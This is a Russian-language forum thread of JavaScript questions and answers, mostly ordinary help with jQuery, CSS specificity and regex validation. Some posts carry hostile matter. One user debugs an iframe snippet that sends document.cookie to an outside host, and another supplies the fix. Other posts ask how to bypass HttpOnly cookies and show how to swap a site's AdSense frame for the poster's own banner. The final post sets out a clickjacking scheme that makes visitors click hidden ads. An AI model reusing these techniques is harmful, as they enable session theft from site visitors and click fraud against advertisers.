[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Синтаксис на базовом уровне надо знать, чтобы jquery пользоваться, ну и так легче будет ибо ошибок синтаксических сразу не будет, по js рекомендую javascript.ru
     
    1 person likes this.
  2. 5w17ch3r

    5w17ch3r Member

    Joined:
    1 Dec 2008
    Messages:
    79
    Likes Received:
    11
    Reputations:
    0
    Помогите кто-нибудь, со вчерашнего дня не получается заставить это нормально работать :confused:
    Есть n дивов, в каждом из которых два селекта, второму из них нужно назначить класс при выборе в первом определенного варианта.

    Code:
    jQuery(function() {
        jQuery('select#ext').change(function(){
    	if (jQuery(this).children('option:selected').text() == '3') {
    	    jQuery(this).closest('div').children('select#on').toggleClass('active');
    	}
        });
    });
    
    HTML:
    <div>
        <select id="ext">
            <option>1</option>
            <option>2</option>
            <option>3</option>
        </select>
        <select id="on">
            <option>a</option>
            <option>b</option>
            <option>c</option>
        </select>
    </div>
    <div>
        <select id="ext">
            <option>1</option>
            <option>2</option>
    ...
    
     
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Логично что не работает. id - уникальный параметр. Он должен быть всего 1 на страницу. Может я и ошибаюсь в причине того, что не работает (лень проверять), но вот по идее рабочий пример:
    Code:
    $(function() {
        $('div.div-class').children('select.ext')
            .change(function(){
                var el = $(this),
                    targetSelect = el.parent().children('select.on');
    
                if (el.text() == '3') {
                    targetSelect.addClass('active');
                } else {
                    targetSelect.removeClass('active');
                }
            });
    });
    HTML:
    <div class="div-class">
        <select class="ext">
            <option>1</option>
            <option>2</option>
            <option>3</option>
        </select>
        <select class="on">
            <option>a</option>
            <option>b</option>
            <option>c</option>
        </select>
    </div>
    <div>
        <select class="ext">
            <option>1</option>
            <option>2</option>
    ...
     
  4. 5w17ch3r

    5w17ch3r Member

    Joined:
    1 Dec 2008
    Messages:
    79
    Likes Received:
    11
    Reputations:
    0
    Дааа! Оно заработало! Спасибо большое :)
     
  5. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    if (document.referrer.indexOf('shinobi.org.ru') < 0 && document.referrer.length) {
    alert('збс');
    }
     
    #3465 Melfis, 18 Jul 2012
    Last edited: 18 Jul 2012
  6. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Добрый день!

    Подскажите.

    Имеем страницу у которой изначально установлен стиль который всем input'ам на странице ставить определенные свойства в том числе рамку вокруг него белого цвета.

    Моя задача через JS подменить указанный стиль на другой в котором рамка вокруг инпута становиться красным цветом.

    document.getElementById('input1').className = 'redinput';

    После проверяю через алерт какой стиль стоит. Показывает что redinput но рамка не меняет цвет. Смотрю через FireBug показывает что свойство рамки в redinput перечеркнуто, а в начальном стиле который на все инпуты ставит свойства оно стоит на месте. Как быть?
     
  7. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Может стоит задать свойства прямо через JS?

    Например:

    Code:
    inputs = document.getElementsByTagName('input');
    for (var inp in inputs)
    {
    	inputs[inp].style.color = '#fff';
    	inputs[inp].style.fontFamily = 'Couriew New';
    	inputs[inp].style.border = '1px solid red';
    }
     
  8. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    У него проблема в том, что класс переопределяет другой класс.

    Пропиши по нормальному селекторы в стилях, чтобы тот, который ты присваиваешь имел больший вес.

    /*имеет больший вес*/
    body input {
    border: 1px solid black;
    }
    /*имеет меньший вес*/
    .redinput {
    border: 1px solid red;
    }

    выход:

    body input.redinput {

    }
     
    #3468 Melfis, 21 Jul 2012
    Last edited: 21 Jul 2012
  9. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Да проблема именно в этом. А не подскажите как потом к нему обращаться? Ну то есть чтобы поставить его как класс.
     
  10. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    Привет %username%.
    Понадобилось набросать на javascript кусочек кода, нужно следующее:
    Дроп даун лист, как он делается ясно , вот задача - при выборе одного из пунктов должно отображаться определённое количество форм, например если в дропдауне item 1,2,3, то при выборе 1 = будет отображать две формы для инпута : Имя Фамилия, если выберается 2 - то должно выводиться 4 поля : Имя1 Фамилия1, Имя2 Фамилия2

    P.S.С Яваскрипт не работаю, просто понадобился подобный кусок кода, поэтому разбираться нет времени да и желания.
    Зарание благодарен.
     
  11. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Обращаться как и раньше, через redinput.
     
  12. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Можно ли в браузере отключить для куки HttpOnly? Т.е чтобы пользовательский скрипт смог добраться до всех скрытых кук для открытого сайта.
     
  13. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    где ошибка в скрипте?
    <script type="text/javascript">
    document.write('<iframe src="http://ya.ru/?a='+document.cookie'"></iframe>');
    </script>
    __
    Нашел ошибку
    patcher все равно спасибо
     
    #3473 RazyKK, 25 Jul 2012
    Last edited: 25 Jul 2012
  14. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    Code:
    <script type="text/javascript">
    document.write('<iframe src="http://ya.ru/?a='+document.cookie[COLOR=Red]+[/COLOR]'"></iframe>'); 
    </script>
     
  15. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Есть вот такая форма:
    HTML:
    <form name=f method=POST>
    Имя: <input type=text name=name><br>
    Телефон: <input type=text name=tel><br>
    <input type=submit value=test>
    </form>
    Нужно написать скрипт в пару строчек, которыйе регуляркой проверит поле "Имя" наличие русских букв, пробелов(только ж не в начале) и тире. Всё остальное - FALSE
    И поле "Телефон" на пробелы, цифры, тире, скобки, плюс. Все остальные символы - так же FALSE.
    Подскажите как это осуществить:)
     
  16. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Code:
    function validate (el, regExp) {
    	return regExp.test(el.value);
    }
    
    var a = validate(document.forms.f.name, /^[^\s]+[а-яА-ЯёЁ\s-]+$/),
    	b = validate(document.forms.f.tel, /^[\(\)\s\d-\+]+$/);
    а и б собсна будут true или false;
     
    1 person likes this.
  17. \/ITA

    \/ITA Member

    Joined:
    21 Sep 2011
    Messages:
    25
    Likes Received:
    28
    Reputations:
    8
    есть АдСенс банер на сайте
    генерируется такой гугловский инжект в него:
    Code:
    <iframe id="google_ads_frame2" name="google_ads_frame2" width="300" height="250" frameborder="0" src="http://****************" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"/>
    мне нужно заменить это своим банером
    я делаю так:
    Code:
    document.getElementById('google_ads_frame2').src='http://свой_URL'
    нормально работает в Opera но в FF и IE нехрена :(
    пробовал с задержкой, разными способами DOM модификаций
    кто подскажет что тут не так?

    UPDATE:
    нашел способ :D
    Code:
    document.getElementsByTagName('center')[2].innerHTML='<iframe width="300" height="250" frameborder="0" src="http://мой_URL" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"></iframe>'
     
    #3477 \/ITA, 28 Jul 2012
    Last edited: 28 Jul 2012
  18. manofsoul1986

    manofsoul1986 New Member

    Joined:
    7 Jan 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Можно ли сделать так, чтобы при заходе на мой сайт происходил автоклик по баннеру или определенной заданной ссылке?
     
  19. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    237
    Likes Received:
    155
    Reputations:
    0
    напрямую нет.
    если в ссылке на баннер нет security хеша - то почему нет
     
  20. scanislav

    scanislav Elder - Старейшина

    Joined:
    25 Jun 2010
    Messages:
    87
    Likes Received:
    22
    Reputations:
    31
    Это для накрутки?
    Можно взять адрес, куда указывает ссылка или баннер, и создать iframe который указывает туда же. С точки зрения конечного сайта, трафик выглядит почти идентично.

    Другой вариант - на основной странице создать малюсенький div 1 на 1, содержащий iframe, который, в свою очередь показывает страницу с баннером. Потом при помощи джаваскрипта двигать этот div, чтоб он всегда был точно под мышью. Тогда пользователь будет думать, что он кликает куда-то на странице, а на деле кликать рекламу. Естественно, после первого клика div надо убрать, иначе вообще все клики съедятся. Это несколько заморочено, но решаемо.

    Год назад какие-то пацаны на подобных схемах большие деньги колотили
     
Thread Status:
Not open for further replies.